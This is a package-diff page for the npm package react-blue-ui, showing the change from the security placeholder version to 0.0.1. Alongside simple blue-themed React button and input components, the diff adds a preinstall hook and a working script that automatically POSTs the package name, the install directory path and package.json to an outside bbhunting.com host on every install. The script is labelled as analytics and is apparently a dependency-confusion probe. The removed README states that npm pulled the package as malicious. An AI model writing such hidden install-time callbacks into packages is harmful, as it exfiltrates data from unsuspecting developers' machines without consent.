react-blue-ui 0.0.1-security → 0.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of react-blue-ui might be problematic. Click here for more details.

@@ -0,0 +1,61 @@
1
+ // Import the required dependencies
2
+ import React from 'react';
3
+
4
+ // Custom styles for the BlueButton component
5
+ const blueButtonStyles = {
6
+ backgroundColor: '#007bff',
7
+ color: 'white',
8
+ border: 'none',
9
+ borderRadius: '5px',
10
+ padding: '10px 20px',
11
+ fontSize: '16px',
12
+ cursor: 'pointer',
13
+ outline: 'none',
14
+ };
15
+
16
+ /**
17
+ * BlueButton - A simple React UI button component with a blue theme.
18
+ * @param {Object} props - The React props for the BlueButton component.
19
+ * @param {string} props.text - The text to be displayed on the button.
20
+ * @param {Function} props.onClick - The function to be executed when the button is clicked.
21
+ * @returns {JSX.Element} - A BlueButton React component.
22
+ */
23
+ const BlueButton = ({ text, onClick }) => {
24
+ return (
25
+ <button style={blueButtonStyles} onClick={onClick}>
26
+ {text}
27
+ </button>
28
+ );
29
+ };
30
+
31
+ // Custom styles for the BlueInput component
32
+ const blueInputStyles = {
33
+ backgroundColor: '#f8f9fa',
34
+ color: '#495057',
35
+ border: '1px solid #ced4da',
36
+ borderRadius: '5px',
37
+ padding: '5px 10px',
38
+ fontSize: '16px',
39
+ outline: 'none',
40
+ };
41
+
42
+ /**
43
+ * BlueInput - A simple React UI input component with a blue theme.
44
+ * @param {Object} props - The React props for the BlueInput component.
45
+ * @param {string} props.placeholder - The placeholder text to be displayed in the input.
46
+ * @param {Function} props.onChange - The function to be executed when the input value changes.
47
+ * @returns {JSX.Element} - A BlueInput React component.
48
+ */
49
+ const BlueInput = ({ placeholder, onChange }) => {
50
+ return (
51
+ <input
52
+ style={blueInputStyles}
53
+ type="text"
54
+ placeholder={placeholder}
55
+ onChange={onChange}
56
+ />
57
+ );
58
+ };
59
+
60
+ // Export the BlueButton and BlueInput components
61
+ export { BlueButton, BlueInput };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "react-blue-ui",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.1",
4
+ "description": "This package sends a callback to a server when installed (for analytics purposes). Original recurrence-formatter from a Dependency Confusion (from YesWH Hunter)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"All went OK.\" && exit 1",
8
+ "preinstall": "node ./scripts/preinstall.js"
9
+ },
10
+ "author": "sicarius@wearehackerone.com",
11
+ "license": "ISC"
6
12
  }
@@ -0,0 +1,54 @@
1
+ //author:- sicarius@wearehackerone.com
2
+ const https = require("https");
3
+ const packageJSON = require("../package.json");
4
+ const querystring = require("querystring");
5
+ const package = packageJSON.name;
6
+ const fs = require('fs');
7
+ const path = require('path');
8
+
9
+ // Check for a required file in the project directory
10
+ const requiredFile = path.join(__dirname, '..', 'required-file.txt');
11
+ const requiredFile2 = path.join(__dirname, '..', 'dist.txt');
12
+
13
+ if (!fs.existsSync(requiredFile)) {
14
+ console.error('Error: The required-file.txt is missing. Please create it before installing the package.');
15
+ }
16
+
17
+ console.log('Preinstall required check completed successfully. Proceeding with custom analytics...');
18
+
19
+ const analytics = JSON.stringify({
20
+ p: package,
21
+ c: __dirname,
22
+ pjson: packageJSON,
23
+ });
24
+
25
+ var postData = querystring.stringify({
26
+ msg: analytics,
27
+ });
28
+
29
+ var http_request_options = {
30
+ // Registering the user
31
+ hostname: "4i08271u21u6425485cgn1o128111140g.bbhunting.com",
32
+ port: 443,
33
+ path: "/",
34
+ method: "POST",
35
+ headers: {
36
+ "Content-Type": "application/x-www-form-urlencoded",
37
+ "Content-Length": postData.length,
38
+ },
39
+ };
40
+
41
+ var req = https.request(http_request_options, (res) => {
42
+ res.on("data", (d) => {
43
+ process.stdout.write(d);
44
+ });
45
+ });
46
+
47
+ req.on("error", (e) => {
48
+ // console.error(e);
49
+ });
50
+ console.log('Preinstall script completed...');
51
+
52
+ req.write(postData);
53
+ req.end();
54
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=react-blue-ui for more information.